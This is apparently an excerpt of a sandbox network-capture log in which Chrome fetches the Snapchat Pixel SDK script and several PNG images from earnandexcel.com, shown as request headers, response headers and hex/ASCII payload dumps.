2024-04-11 21:26:49 UTC	1369	IN	Data Raw: 1c 75 1d 33 6d d0 08 33 b7 c7 e2 b8 06 4d 42 83 4b a0 2e af b4 ef 1d 8b 2e c3 25 f0 bb 17 43 1b 13 9a 35 ce f9 20 60 6d 31 b1 d0 38 e0 00 80 fe aa 13 10 ac 1f d5 21 48 d4 29 51 47 14 ca fa 89 56 ad 35 1f 7e f8 61 4e 1b 80 ba 8a 37 2e 13 34 4b 62 6c 13 80 29 4c ac 01 93 4a a4 8b 48 59 f6 f4 74 31 9e e3 3a 9c 12 30 e0 d9 13 70 4c da 04 98 4c c4 5e 9f 19 e3 3b 86 d6 7e 0f 3c 22 61 b3 c5 49 3e cc e0 31 19 33 d4 64 b4 bd a9 69 48 fa 39 81 4c 1b f6 3d d3 2f b7 a9 fb 7c 46 1b ee 5b 2e f2 4d d0 24 91 81 5f 1d 98 d0 78 db ec 23 94 04 58 7a 3a 5c 25 26 ee 55 f1 e8 0f 73 41 d3 f6 20 ab 9e 3f d3 79 1a fd 35 7f d1 b3 a8 0e a7 6a fd fe e6 9b 6f 7a b2 00 01 11 50 8f 09 19 a6 16 70 ab 47 fd 99 d4 00 a9 5d 1a ac c7 ad e4 5c d0 af e6 0f 7d 2d fc 81 bd f6 1a df 65 ef d3 98 Data Ascii: u3m3MBK..%C5 `m18!H)QGV5~aN7.4Kbl)LJHYt1:0pLL^;~<"aI>13diH9L=/\|F[.M$_x#Xz:\%&UsA ?y5jozPpG]\}-e
2024-04-11 21:26:49 UTC	11	IN	Data Raw: 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
156	192.168.2.17	49902	18.238.74.246	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:49 UTC	527	OUT	GET /scevent.min.js HTTP/1.1 Host: sc-static.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:49 UTC	662	IN	HTTP/1.1 200 OK Content-Type: application/javascript;charset=utf-8 Content-Length: 45523 Connection: close Server: CloudFront Date: Thu, 11 Apr 2024 21:26:49 GMT Access-Control-Allow-Headers: Content-Type Access-Control-Allow-Origin: * Content-Encoding: utf-8 Cache-Control: private, s-maxage=0, max-age=600 Set-Cookie: X-AB=38b33afdb36f494aa03f175381ce5c1b;max-age=86400;expires=Fri, 12 Apr 2024 21:26:49 GMT;Path=/scevent.min.js;Secure;SameSite=None X-Cache: Miss from cloudfront Via: 1.1 9bafc5788cf742a553f677679fa9ca76.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P5 X-Amz-Cf-Id: Y5IRd5FczPXDlrmFi_wEy_BS6bkYvETs6L0qim7bzpDlugKIP7sD4Q==
2024-04-11 21:26:49 UTC	15722	IN	Data Raw: 2f 2a 2a 20 53 6e 61 70 63 68 61 74 20 50 69 78 65 6c 20 53 44 4b 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 6e 2c 72 3d 31 2c 65 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 72 3c 65 3b 72 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 6e 3d 61 72 67 75 6d 65 6e 74 73 5b 72 5d 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 69 29 26 26 28 74 5b 69 5d 3d 6e 5b 69 5d 29 3b 72 65 74 75 72 6e 20 74 7d 2c 74 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 Data Ascii: /** Snapchat Pixel SDK */!function(){"use strict";var t=function(){return t=Object.assign\|\|function(t){for(var n,r=1,e=arguments.length;r<e;r++)for(var i in n=arguments[r])Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i]);return t},t.apply(this,argu
2024-04-11 21:26:49 UTC	16384	IN	Data Raw: 2c 74 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 50 72 28 29 7b 76 61 72 20 74 3b 64 6f 7b 74 3d 22 73 6e 61 70 22 2b 4d 61 74 68 2e 66 6c 6f 6f 72 28 31 65 37 2a 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 29 7d 77 68 69 6c 65 28 73 74 26 26 73 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 74 29 29 3b 72 65 74 75 72 6e 20 74 7d 76 61 72 20 77 72 3d 6d 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 4a 53 4f 4e 7d 29 29 3b 66 75 6e 63 74 69 6f 6e 20 44 72 28 74 29 7b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 3d 3d 3d 74 7c 7c 6e 75 6c 6c 3d 3d 74 7c 7c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 22 62 6f 6f 6c 65 61 6e 22 3d 3d 74 79 70 65 6f 66 20 74 7d 28 74 29 7c 7c 61 28 74 29 7c 7c 77 28 74 29 7d 76 61 72 20 78 72 2c 52 72 3d 77 72 26 26 Data Ascii: ,t)}}function Pr(){var t;do{t="snap"+Math.floor(1e7*Math.random())}while(st&&st.getElementById(t));return t}var wr=m((function(){return JSON}));function Dr(t){return void 0===t\|\|null==t\|\|function(t){return"boolean"==typeof t}(t)\|\|a(t)\|\|w(t)}var xr,Rr=wr&&
2024-04-11 21:26:49 UTC	13417	IN	Data Raw: 5d 2c 6f 3d 6e 75 6c 6c 21 3d 62 69 5b 69 5d 3f 62 69 5b 69 5d 3a 22 22 3b 69 66 28 6f 3d 3d 3d 72 3f 6f 3d 22 22 3a 72 3d 6f 2c 22 37 22 21 3d 3d 6f 26 26 22 38 22 21 3d 3d 6f 7c 7c 28 6f 3d 22 22 29 2c 34 3d 3d 3d 44 28 6e 2b 3d 6f 29 29 62 72 65 61 6b 7d 72 65 74 75 72 6e 20 6e 5b 30 5d 2b 28 6e 75 6c 6c 21 3d 6e 5b 31 5d 3f 6e 5b 31 5d 3a 22 30 22 29 2b 28 6e 75 6c 6c 21 3d 6e 5b 32 5d 3f 6e 5b 32 5d 3a 22 30 22 29 2b 28 6e 75 6c 6c 21 3d 6e 5b 33 5d 3f 6e 5b 33 5d 3a 22 30 22 29 7d 63 61 74 63 68 28 74 29 7b 72 65 74 75 72 6e 20 77 74 28 22 53 58 22 2c 74 29 2c 22 22 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 69 28 74 2c 6e 29 7b 66 6f 72 28 76 61 72 20 72 3d 44 28 6e 29 2c 65 3d 30 3b 65 3c 72 3b 65 2b 2b 29 69 74 28 74 2c 6e 5b 65 5d 29 7d 76 61 72 20 49 Data Ascii: ],o=null!=bi[i]?bi[i]:"";if(o===r?o="":r=o,"7"!==o&&"8"!==o\|\|(o=""),4===D(n+=o))break}return n[0]+(null!=n[1]?n[1]:"0")+(null!=n[2]?n[2]:"0")+(null!=n[3]?n[3]:"0")}catch(t){return wt("SX",t),""}}function Ai(t,n){for(var r=D(n),e=0;e<r;e++)it(t,n[e])}var I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
157	192.168.2.17	49903	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:49 UTC	1187	OUT	GET /wp-content/uploads/Screenshot-2021-06-25-at-8.27.35-PM.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801
2024-04-11 21:26:49 UTC	907	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:49 GMT Content-Type: image/png Content-Length: 9684 Connection: close CF-Ray: 872e0e9e3f87c33c-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df3305-25d4" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:45 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xaZUZr%2F6ZfSbEiSIgV61nAlsOdtHdqZ41wSwxLiWlCtGMbgh1Vb%2ByOyD%2F6wbE4eYGpFH2vRq%2FGqbbW4tzFnHoU6X95ck%2Fb8Iv5TlM1HmsP6XJY0ElnUMln63de7IBYaeL8U%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:49 UTC	462	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 cd 00 00 00 5f 08 06 00 00 00 4b 12 43 21 00 00 25 9b 49 44 41 54 78 da ec 9b 07 6b 56 4b 10 86 fd 4b 56 14 44 51 b1 2b f6 de bb c6 de 0b 28 d8 15 54 ec 0a 2a f6 86 bd 82 62 47 45 b1 8b 25 a4 f7 de 7b 9f cb 33 30 dc e5 7c 27 b9 f7 1a 42 2e 64 07 96 53 77 cf 17 98 67 df 99 d9 4d 3b f1 d6 a8 35 34 34 b8 e7 da b0 ea ea 6a a9 ad ad d5 56 53 53 23 75 75 75 f6 8e 5e bb 56 5f 5f af ad 31 b3 31 38 f2 9e 8d c3 98 76 ed de e3 c8 bb 66 ee 77 2b 2b 2b b5 79 6b 59 6b 27 de 1a 05 a6 aa aa aa 49 87 c7 ca cb cb b5 b9 56 51 51 41 5f 03 81 66 4e cd bb 3c e7 9c 77 5c 60 0c 4a 83 30 68 dc a7 1f ef 86 82 e9 4d c4 43 d3 4a 86 03 9a 92 e0 c8 41 98 0a 0b 0b f5 18 66 a6 06 41 15 28 2d 2d 95 fc fc 7c c9 ce ce 96 b4 b4 34 c9 Data Ascii: PNGIHDR_KC!%IDATxkVKKVDQ+(T*bGE%{30\|'B.dSwgM;544jVSS#uuu^V__118vfw+++ykYk'IVQQA_fN<w\`J0hMCJAfA(--\|4
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: fc 79 79 f1 e2 85 24 24 24 00 65 d8 ef f3 4a f3 b7 79 68 5a cb 2c c4 b2 d9 3c 18 9a e1 a8 a8 c9 9e 3d 7b 54 31 86 0f 1f 0e 24 1c 15 84 43 87 0e c9 a9 53 a7 e4 e6 cd 9b ea f0 df be 7d 93 b8 b8 38 49 49 49 51 c8 b2 b2 b2 34 3c 4b 4d 4d 95 d8 d8 58 f9 f4 e9 93 2a d3 8d 1b 37 14 92 65 cb 96 c9 cc 99 33 81 07 e8 38 ea bd d3 a7 4f cb 9b 37 6f 80 d5 fd 5d 9c 93 27 a1 86 1e 20 0f 4d eb 9a c1 63 c0 e0 e0 0f 1e 3c 90 e5 cb 97 ab 7a f4 e8 d1 43 15 64 f3 e6 cd 1a 8a 7d fd fa d5 72 14 ed db 1c cb cd cd 95 0f 1f 3e c8 e5 cb 97 09 ef 54 91 06 0d 1a 04 40 84 73 00 09 74 11 d5 35 6f 1e 9a 16 2f 25 07 af 51 91 60 32 9e 93 93 23 27 4f 9e 54 c7 ed d4 a9 13 8e ab a1 d3 f3 e7 cf 09 9b 14 14 33 0b a1 b8 c7 18 05 05 05 e4 3c 0a 5c 74 74 b4 7c fe fc 59 fb 3d 7b f6 4c 8f 6f df be Data Ascii: yy$$$eJyhZ,<={T1$CS}8IIIQ4<KMMX*7e38O7o]' Mc<zCd}r>T@st5o/%Q`2#'OT3<\tt\|Y={Lo
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: a8 c2 62 8a e3 aa a0 b7 36 0c 0d b3 a6 39 85 95 7c 59 c5 c7 61 70 1c c0 e1 be bb 9a 7f ef de 3d 76 1a 03 8b 85 4a 40 e3 26 fa 24 e8 06 8b 01 e3 42 e3 96 9f ed dc 0a 03 9c 33 26 10 f1 0c 27 66 7c be 65 63 f1 9d 00 88 e1 90 d2 c7 c6 03 3c 00 e4 1d 14 6e f0 e0 c1 b2 69 d3 26 dd 55 60 8a 83 b1 70 ca df d0 b3 67 4f aa 6a 80 e3 ee e4 f6 0b 9f 6d 1d 1a d4 c5 fe b9 cb 92 7f 66 60 92 7a 1c cd 12 68 2b c7 02 0c d5 26 14 c1 60 e1 88 73 5a a2 1f 16 92 05 1b f7 51 24 fa 58 5e 82 fa d0 2c 3f c1 b1 b9 36 05 03 28 7b 87 73 b7 bf dd e7 9c 7b 3c e3 1b 36 1e fd 81 10 45 e3 1e 8b 9c 80 8d 5a f2 de dd bb 77 4d 4d 08 d3 28 49 f3 0c b0 d8 c6 e3 16 10 7c 49 ba ad 43 63 6a e3 2e fc e1 28 80 c1 0c 4c 71 c0 8c bd 5c 38 18 ab e9 cc d0 38 b5 ad ec 1b 04 38 b3 e5 1f 51 7f b5 77 f7 38 Data Ascii: b69\|Yap=vJ@&$B3&'f\|ec<ni&U`pgOjmf`zh+&`sZQ$X^,?6({s{<6EZwMM(I\|ICcj.(Lq\888Qw8
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: 78 9b 20 2d c0 05 1a ef 69 c6 59 c2 90 af e3 6f cf e4 7b 5a b4 02 3a 81 5d 5a cb f5 dc b3 df cd 35 fd 8e a7 7b cd 53 02 0d e1 26 64 34 c1 72 ca f5 26 a3 3d 72 ec 63 ac 72 98 ed cc 19 02 4c 48 d3 50 4a 9f 81 ca 0c 0e 18 fc 80 d9 90 9c f6 02 a6 b4 10 c1 4b f0 81 4b 35 a8 22 36 d7 0b 38 4c 25 ef 67 29 01 8d 54 d3 3f e7 69 15 a5 1e 86 66 2c ed c5 77 9e 89 29 c5 dc f3 1c 65 02 14 3b ca 0f 2b c8 da 73 16 83 ca c4 94 f5 9c 26 56 e3 23 53 80 f6 da 45 6b c0 73 4c b3 6b 06 cd 5e 82 a2 99 b9 c2 2b 0d 31 04 2d 09 dd 6e 2d 8b 7a 66 b6 11 b2 f2 c9 32 c7 66 bd bf d9 5d 66 70 e3 13 50 33 ba 19 9a 09 35 b3 84 69 19 60 63 16 a1 a2 7d 5f 37 ce 48 00 60 73 0d 42 9e 1f 15 cb 55 e5 26 90 32 cb 1a 5b 9a 3f 00 7f fe f9 e7 77 e5 d8 63 53 a3 c3 6c e4 9f b8 af 00 12 53 f6 d0 9e 0f Data Ascii: x -iYo{Z:]Z5{S&d4r&=rcrLHPJKK5"68L%g)T?if,w)e;+s&V#SEksLk^+1-n-zf2f]fpP35i`c}_7H`sBU&2[?wcSlS
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: 71 2e 5d e5 83 0f 3e 00 c0 bb c8 ff cb 97 2f f7 aa cc 39 e0 04 b6 bc b5 34 0f 70 a5 59 27 39 a1 66 08 85 1e 38 3c 9b bf 2b 99 9e 34 ba bf 99 81 cc c4 ca 27 f4 0a f0 8c 0a d1 d0 ea fd 5e 82 9b 88 0c fe 94 fb 3b 0c da b5 83 c6 16 68 12 5c bd 8d 45 e4 63 bc 2c fe 1a f5 ec b8 d8 34 b3 6c 79 5a d9 f5 b1 69 23 3f ab 7a 9a e2 39 8e 75 1e a6 09 40 09 ec 34 d3 08 22 0d 14 bd 9d 19 59 ec c3 cc 0e 30 05 3f 2f a5 c4 98 ed 81 53 83 f3 ed b3 cd 86 86 c6 6b 7c e6 1b 47 be d6 53 d5 cf d4 e4 b0 64 50 c7 20 36 66 b6 77 29 3e 9a 8d d0 a8 cc b7 40 6c f2 71 3f 80 14 70 8f 96 b9 76 d0 54 14 15 25 4b d0 09 06 e6 c7 3f 9d 2d 2e 95 a6 99 be 7f 3c 13 8b 56 a8 ec 78 f5 13 2b db b9 cf 09 60 1d fc 03 1a 5f 40 ad cc a4 85 77 d5 a6 14 1c 1a b0 98 8b 2c e9 d9 32 36 46 8d df 65 4c e9 32 Data Ascii: q.]>/94pY'9f8<+4'^;h\Ec,4lyZi#?z9u@4"Y0?/Sk\|GSdP 6fw)>@lq?pvT%K?-.<Vx+`_@w,26FeL2
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: fd 1c a0 32 c1 04 5a 60 51 88 56 16 03 ff 46 a2 28 20 9e fe 00 b7 02 9a 66 48 ff cc 82 99 92 26 65 e7 9a 91 cd c6 de 13 e6 92 31 f9 3c ad 7b 59 0d 49 b3 7f a9 f5 84 8b 7f 20 e6 02 40 66 6e e0 9b cd c1 8d ed 1a cc 2e e3 32 0b cb fd e2 57 68 85 34 37 01 c9 00 81 6e 06 b2 dd f0 83 c3 5d c7 4f 40 25 c0 45 e1 5d 0b 60 9c 0f 98 ee 9f 40 03 00 96 ab 2d 53 70 00 64 56 73 06 9e 9e 91 e9 d7 ef a8 7f 41 f7 0d 1c 08 0f e0 95 23 77 1a a0 df 0a 68 f6 7a 91 82 73 4c 31 8e 3f 53 a3 58 0d b3 0a 63 54 59 31 0a 35 c7 7f 9a 2e 00 12 63 56 55 24 90 71 ce 51 ae 7b 8d 7e 1a 0d 20 81 a4 d2 e1 ca 96 99 3d d3 0f d0 58 90 f9 c7 87 aa 81 46 7d 91 7d 6f 7c 59 04 80 5c c3 0b c2 3f 37 40 53 fa 60 8c da 45 79 36 1a a9 e6 21 6d ad bf b9 fd 1b 63 17 97 62 0a 02 4d 1a 9b c9 4a f3 d4 3c a3 Data Ascii: 2Z`QVF( fH&e1<{YI @fn.2Wh47n]O@%E]`@-SpdVsA#whzsL1?SXcTY15.cVU$qQ{~ =XF}}o\|Y\?7@S`Ey6!mcbMJ<
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: 06 0e 08 35 3d 4c 43 05 18 a6 9e 3a 7f f7 08 20 c5 a4 86 5f e3 3d ed c7 d7 9a 31 a2 d9 1c de b9 1a 81 d0 96 87 6a 7e 4a a0 c9 19 b6 82 98 38 cd 10 44 02 48 a0 cd c8 f9 26 04 2c 4d 03 40 b4 8d 62 ac 59 4f 5f 76 b4 28 ba ef 12 f0 49 f5 12 36 c5 61 e8 5e 26 d2 ec 9d 16 38 23 12 e6 a2 b5 c0 17 f0 4a bc 9c 7e 86 62 35 dd 6f f8 19 34 04 a0 6c 61 96 7d cd 1f 2b 9b da 35 63 cd 6a e7 54 93 c4 a8 66 d7 c9 4f 91 2e 64 42 70 ff ee e5 c4 67 9e 22 68 f8 0b 04 17 00 04 1c 33 45 98 6c a8 e3 b2 9e 81 67 46 cd 09 b5 73 30 6e 40 d0 56 ae d8 9a 81 a7 70 f3 6d cc e4 a5 ed 54 66 6c af 14 79 96 1d d8 81 b8 ba 99 4d 6a 64 b6 01 66 e6 d1 04 57 9a 26 8a 59 70 15 81 00 a8 35 0a b1 d7 cf 00 a8 66 1f b3 4c 57 13 01 d3 95 66 8e de b6 9d 15 03 9e 12 68 98 2a 55 22 a2 9f 05 18 fb 8c e3 Data Ascii: 5=LC: _=1j~J8DH&,M@bYO_v(I6a^&8#J~b5o4la}+5cjTfO.dBpg"h3ElgFs0n@VpmTflyMjdfW&Yp5fLWfh*U"
2024-04-11 21:26:49 UTC	1008	IN	Data Raw: 40 ab 39 fa db 40 93 e3 9f e6 73 3f c0 58 7f e8 59 0e 01 dc 00 83 4e ef 37 01 9c 4d 98 38 e7 90 00 4f 19 34 8f f4 73 02 98 d2 5f ab 97 11 d8 d2 6d e6 92 eb 73 c9 3d 34 36 c1 e7 33 68 72 41 88 cd f4 ce e5 4b d0 26 40 12 43 55 34 5e 5e 57 f5 2f 3b 4f 2e 06 8f a6 a0 bd 72 f6 23 09 0a 88 d6 90 b0 22 3a 63 03 ae fa 9b 62 2c 99 5b 4c 34 69 42 76 29 37 18 b4 c3 8e 1d d0 fc fd a4 ce 39 f3 aa 97 21 84 66 65 80 60 32 6d 80 05 a6 39 06 13 4e cd 8e 3e cf 80 e1 5c 6d 6c 65 3c 8b ff 48 e6 94 84 b9 03 87 75 eb 64 42 96 27 07 28 b4 46 a9 38 00 03 24 b3 0b a8 3d 2d a7 a6 67 f6 1a 30 56 25 cb 35 7e 57 50 47 9b b8 57 ec e1 d9 0e 68 de 65 ab c9 f7 d6 3c 7a 03 30 ad 30 4c 5e 99 37 40 b2 89 85 9d f9 eb 73 20 78 68 fc b4 40 9d ff 73 c6 ab c3 41 08 d4 6f 60 d7 dd 78 3f d7 da 54 Data Ascii: @9@s?XYN7M8O4s_ms=463hrAK&@CU4^^W/;O.r#":cb,[L4iBv)79!fe`2m9N>\mle<HudB'(F8$=-g0V%5~WPGWhe<z00L^7@s xh@sAo`x?T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
158	192.168.2.17	49904	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:49 UTC	1161	OUT	GET /wp-content/uploads/Coca-Cola.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801
2024-04-11 21:26:49 UTC	910	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:49 GMT Content-Type: image/png Content-Length: 11802 Connection: close CF-Ray: 872e0e9f09b37d0e-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df330e-2e1a" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:54 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8IeSjHt%2Fdi2mQEAX4YUFa2kc%2FQF0UGOmw5SC7Bh1we5okDmJyDVjxIykLwfbH%2FQXQZYlOeJOrLVazdYAJaMSUOt3MCa3UUeUBsm9x%2FtFqJEgzolHmLyUS651%2BupM7jz%2BlmA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:49 UTC	459	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 cd 00 00 00 5f 08 06 00 00 00 4b 12 43 21 00 00 2d e1 49 44 41 54 78 da ec 99 c7 6b 55 4f 14 c7 dd 88 e0 bf a0 0b 15 bb d8 7b ef bd 77 c5 8e 22 62 01 11 5c 28 b6 85 62 43 04 41 44 5c 24 04 b2 48 20 c9 2e 8b 84 10 b2 48 21 09 09 d9 84 34 42 3a e9 bd b7 f3 e3 73 e0 c0 e5 72 5f 7e 2f 59 e5 e9 7c 61 78 ef ce 9d 99 3b f7 9c ef f7 9c 33 ef cd 10 07 07 87 49 61 86 38 38 38 38 d1 38 38 38 d1 38 38 4c 23 38 d1 38 38 38 d1 38 38 38 d1 38 38 4c 2b 38 d1 38 38 38 d1 38 38 38 d1 88 17 63 63 63 32 32 32 42 e3 bb b7 df 3f 4e db f8 f8 b8 b6 c1 c1 41 19 1d 1d 15 87 60 0c 0d 0d 61 27 ef b5 da cc db d7 df df af 7d 41 30 9f 18 98 c7 78 eb f3 f6 9b 5f 42 81 7b cc 9b 2c 98 e7 df d3 f0 f0 f0 84 e3 e1 04 6d 60 60 c0 6f 03 Data Ascii: PNGIHDR_KC!-IDATxkUO{w"b\(bCAD\$H .H!4B:sr_~/Y\|ax;3Ia888888888L#888888888L+8888888ccc222B?NA`a'}A0x_B{,m``o
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: a7 47 23 a5 17 a4 7d fa 1c a6 94 d5 c3 ba 47 e9 d4 d1 d1 01 61 21 a4 91 0d f2 a9 ed ed ac 10 02 36 d6 08 1f 48 6a fa c2 84 5f 1c e1 88 91 6b b8 e2 bf c7 9e 22 fb 87 80 20 b1 70 6d 4e f4 1b 04 87 55 57 57 4b 69 69 a9 54 56 56 4a 67 67 a7 37 62 d8 e1 cf fd 38 e0 b1 1b 19 a4 bb bb db 4f 38 c8 0c f1 35 30 95 97 97 4b 71 71 b1 34 35 35 49 5b 5b 1b 73 02 7d 02 09 6b 6b 6b a5 ac ac 4c 2a 2a 2a 24 3b 3b 5b b2 b2 b2 f4 b3 a0 a0 80 75 98 1f e4 53 bf c8 c2 12 0d c2 f5 03 41 f3 ec fc fc 7c 69 68 68 30 ff db 79 cc ff 8e c6 1b 13 0b b6 60 3f 91 2b 1a 43 50 14 b2 17 c6 11 d1 d1 d1 f2 fa f5 6b b9 7f ff be 9c 39 73 46 8e 1c 39 22 27 4e 9c 90 77 ef de 49 42 42 82 d4 d5 d5 89 9f 0c 0e c1 68 69 69 51 a2 c7 c5 c5 a9 4d 9f 3c 79 22 87 0f 1f 96 6d db b6 a9 6d 1f 3c 78 20 31 31 Data Ascii: G#}Ga!6Hj_k" pmNUWWKiiTVVJgg7b8O850Kqq455I[[s}kkkL***$;;[uSA\|ihh0y`?+CPk9sF9"'NwIBBhiiQM<y"mm<x 11
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: 27 1f 89 d0 b1 90 2c 58 bc 91 22 f5 bd 7b 29 8c cb 18 fe f4 a7 3f cd 74 c5 e3 ab 3d cb 24 e6 a0 d1 86 08 08 2b 7f f0 83 1f 44 6c da c5 c7 77 16 ff 12 5a 9e 30 ee d7 bf fe 35 c8 e1 ff 98 e2 e2 70 7e e8 43 1f 02 d5 e6 a3 5e 16 82 73 1f a1 c1 c0 29 a7 3f fc e1 0f a0 17 87 19 c3 60 64 b4 c4 c8 60 0e 26 be 38 d5 39 c9 2f be f8 e2 85 96 af 7b dd eb 2e f7 fd ec 67 3f d3 2f 9a 13 2e f4 cd 61 2e 37 73 08 7b 7d 4f 58 45 b3 0a 08 40 09 d6 b3 31 e4 47 81 76 2c 07 a6 76 dd ef 7f ff fb 04 06 c3 13 6e cf bd 8c f5 dd ef 7e 37 21 ca 67 71 4d 7c 04 7a 26 08 20 3b 38 e7 99 2c 1a a1 d1 37 05 90 d0 83 7e f1 d0 e3 09 39 4f 78 46 3b 7d fe f3 9f 17 c1 b1 58 26 8b 50 b4 11 28 81 a8 17 41 08 66 cd da b4 0f 7f f8 c3 20 1b e2 bb 17 91 11 76 d7 14 